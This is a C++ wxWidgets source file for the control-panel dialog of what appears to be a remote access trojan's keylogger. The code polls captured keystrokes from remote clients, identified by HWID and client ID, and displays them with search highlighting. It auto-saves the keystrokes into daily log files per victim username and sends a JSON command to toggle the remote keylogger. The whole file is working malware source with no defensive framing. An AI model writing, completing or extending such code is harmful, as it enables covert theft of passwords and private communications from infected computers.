keylogger.cpp

#include "keylogger.h"
#include "socket.h"
#include <wx/stdpaths.h>
#include <wx/filename.h>
#include <wx/filedlg.h>
#include <wx/msgdlg.h>

KeyloggerDialog::KeyloggerDialog(wxWindow* parent, const wxString& clientName,
                                 const wxString& hwid, int clientId,
                                 const wxString& clientsDir, const wxString& username)
    : wxDialog(parent, wxID_ANY, "Keylogger - " + clientName,
               wxDefaultPosition, wxSize(640, 400),
               wxDEFAULT_DIALOG_STYLE | wxMINIMIZE_BOX),
      m_hwid(hwid), m_clientId(clientId), m_clientsDir(clientsDir),
      m_username(username), m_checks(0)
{
    wxBoxSizer* mainSizer = new wxBoxSizer(wxVERTICAL);

    m_textDisplay = new wxTextCtrl(this, wxID_ANY, "",
        wxDefaultPosition, wxDefaultSize,
        wxTE_MULTILINE | wxTE_READONLY | wxTE_RICH2 | wxTE_DONTWRAP);
    m_textDisplay->SetFont(wxFont(9, wxFONTFAMILY_TELETYPE, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL));
    mainSizer->Add(m_textDisplay, 1, wxEXPAND | wxALL, 5);

    wxBoxSizer* bottomSizer = new wxBoxSizer(wxHORIZONTAL);

    m_searchCtrl = new wxTextCtrl(this, wxID_ANY, "",
        wxDefaultPosition, wxSize(200, -1), wxTE_PROCESS_ENTER);
    bottomSizer->Add(new wxStaticText(this, wxID_ANY, "Search:"),
                     0, wxALIGN_CENTER_VERTICAL | wxRIGHT, 4);
    bottomSizer->Add(m_searchCtrl, 0, wxRIGHT, 8);
    bottomSizer->AddStretchSpacer();

    wxButton* btnSave = new wxButton(this, wxID_ANY, "Save");
    bottomSizer->Add(btnSave, 0);

    mainSizer->Add(bottomSizer, 0, wxEXPAND | wxLEFT | wxRIGHT | wxBOTTOM, 5);

    SetSizer(mainSizer);

    m_searchCtrl->Bind(wxEVT_KEY_DOWN, &KeyloggerDialog::OnSearchKeyDown, this);
    Bind(wxEVT_BUTTON, &KeyloggerDialog::OnSave, this, btnSave->GetId());
    Bind(wxEVT_CLOSE_WINDOW, &KeyloggerDialog::OnClose, this);

    m_timer.SetOwner(this);
    Bind(wxEVT_TIMER, &KeyloggerDialog::OnTimer, this);
    m_timer.Start(500);

    Centre();
}

KeyloggerDialog::~KeyloggerDialog()
{
    m_timer.Stop();
}

void KeyloggerDialog::OnTimer(wxTimerEvent&)
{
    if (!m_hwid.empty())
    {
        std::string data = ServerManager::GetKeyloggerData(m_clientId);
        if (!data.empty())
        {
            wxString keys = wxString::FromUTF8(data);
            AppendKeys(keys);

            // Auto-save to daily TXT file
            try
            {
                wxString userDir = m_clientsDir + "\\" + m_username;
                wxFileName::Mkdir(userDir, wxS_DIR_DEFAULT, wxPATH_MKDIR_FULL);
                wxString logFile = userDir + "\\" +
                    wxString::Format("keylog_%s.txt", wxDateTime::Now().Format("%Y-%m-%d"));
                wxFile f(logFile, wxFile::write_append);
                if (f.IsOpened())
                {
                    f.Write(keys);
                    f.Close();
                }
            }
            catch (...) {}
        }
    }
    m_checks++;
}

void KeyloggerDialog::OnClose(wxCloseEvent&)
{
    m_timer.Stop();
    ServerManager::SendToClient(m_clientId, "{\"cmd\":\"keyLogger\",\"isON\":\"false\"}");
    Destroy();
}

void KeyloggerDialog::OnSearchKeyDown(wxKeyEvent& event)
{
    if (event.GetKeyCode() == WXK_RETURN)
    {
        wxString search = m_searchCtrl->GetValue();
        if (search.empty()) return;

        wxString text = m_textDisplay->GetValue();
        m_textDisplay->SetStyle(0, text.length(),
            wxTextAttr(wxColour(0, 0, 0), wxColour(255, 255, 255)));

        int start = 0;
        while (true)
        {
            int found = text.find(search, start);
            if (found == wxNOT_FOUND) break;
            m_textDisplay->SetStyle(found, found + search.length(),
                wxTextAttr(wxColour(0, 0, 0), wxColour(255, 255, 0)));
            start = found + search.length();
        }
    }
    event.Skip();
}

void KeyloggerDialog::OnSave(wxCommandEvent&)
{
    wxString fullPath = m_clientsDir + "\\" + m_username;
    wxFileName::Mkdir(fullPath, wxS_DIR_DEFAULT, wxPATH_MKDIR_FULL);

    wxString fileName = wxString::Format("Keylogger_%s.txt",
        wxDateTime::Now().Format("%m-%d-%Y %H;%M;%S"));

    wxFileDialog dlg(this, "Save Keylogger File", fullPath, fileName,
                     "Text files (*.txt)|*.txt", wxFD_SAVE | wxFD_OVERWRITE_PROMPT);
    if (dlg.ShowModal() == wxID_OK)
    {
        wxFile file(dlg.GetPath(), wxFile::write);
        if (file.IsOpened())
        {
            file.Write(m_textDisplay->GetValue());
            file.Close();
        }
    }
}

void KeyloggerDialog::AppendKeys(const wxString& keys)
{
    m_textDisplay->AppendText(keys);
}